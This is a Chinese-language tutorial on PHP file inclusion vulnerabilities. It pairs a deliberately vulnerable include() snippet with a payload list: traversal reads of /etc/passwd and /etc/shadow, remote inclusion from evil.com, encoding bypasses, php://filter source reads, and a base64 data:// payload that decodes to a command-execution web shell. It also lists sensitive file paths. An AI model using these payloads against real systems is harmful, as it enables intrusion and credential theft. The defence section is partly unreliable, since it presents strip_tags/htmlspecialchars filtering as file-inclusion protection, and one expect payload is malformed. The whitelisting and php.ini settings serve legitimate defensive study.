文件包含漏洞防护以及常见的文件读取payload
字数 699 2025-08-15 21:33:14
文件包含漏洞防护与利用详解
一、文件包含漏洞概述
文件包含漏洞是一种常见的Web安全漏洞,主要由于开发者未对用户输入进行严格过滤,导致攻击者能够包含并执行恶意文件。PHP语言中常见的文件包含函数包括:
include()require()include_once()require_once()
二、漏洞示例分析
1. 基础漏洞代码
<a href=index.php?page=file1.php> Files </a>
<?php
$page = $_GET['page'];
include($page);
?>
这段代码存在严重安全问题:
- 直接使用
$_GET['page']作为文件路径 - 未对用户输入进行任何过滤或验证
2. 漏洞利用方式
本地文件包含(LFI):
http://localhost/index.php?page=/etc/passwd
远程文件包含(RFI):
http://localhost/index.php?page=http://evil.com/shell.txt
三、常见利用Payload
1. 基础文件读取
http://example.com/index.php?page=../../../../etc/passwd
http://example.com/index.php?page=../../../../etc/shadow
http://example.com/index.php?page=../../../../etc/hosts
2. 空字节截断
http://example.com/index.php?page=../../../../etc/passwd%00
http://example.com/index.php?page=http://evil.com/shell.txt%00
3. 编码绕过
双编码:
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
4. PHP过滤器利用
Rot13编码读取:
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
Base64编码读取:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
组合利用:
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
5. 其他协议利用
data协议:
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
zip协议:
http://example.com/index.php?page=zip://shell.jpg%23payload.php
expect协议(需安装expect扩展):
http://example.com/index.php?page=php:expect://id
四、常见敏感文件路径
Linux系统
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/self/environ
/proc/version
/proc/cmdline
进程文件描述符
/proc/[0-9]*/fd/[0-9]*
五、防护措施
1. 输入过滤
使用过滤函数:
function cleanAll($input) {
$input = strip_tags($input);
$input = htmlspecialchars($input);
return $input;
}
其他可用函数:
chop()htmlentities()stripslashes()str_replace()
2. 白名单验证
$allowedPages = ['file1.php', 'file2.php', 'file3.php'];
if(in_array($_GET['page'], $allowedPages)) {
include($_GET['page']);
} else {
die('Invalid page requested');
}
3. 禁用危险函数
在php.ini中禁用危险函数:
disable_functions = passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec
4. 关闭远程文件包含
在php.ini中设置:
allow_url_include = Off
allow_url_fopen = Off
六、高级防护建议
- 使用绝对路径而非相对路径
- 对包含文件设置固定前缀或后缀
- 定期更新PHP版本,修复已知漏洞
- 使用Web应用防火墙(WAF)防护常见攻击
- 实施最小权限原则,限制Web服务器用户权限
通过以上措施,可以显著降低文件包含漏洞的风险,保护Web应用安全。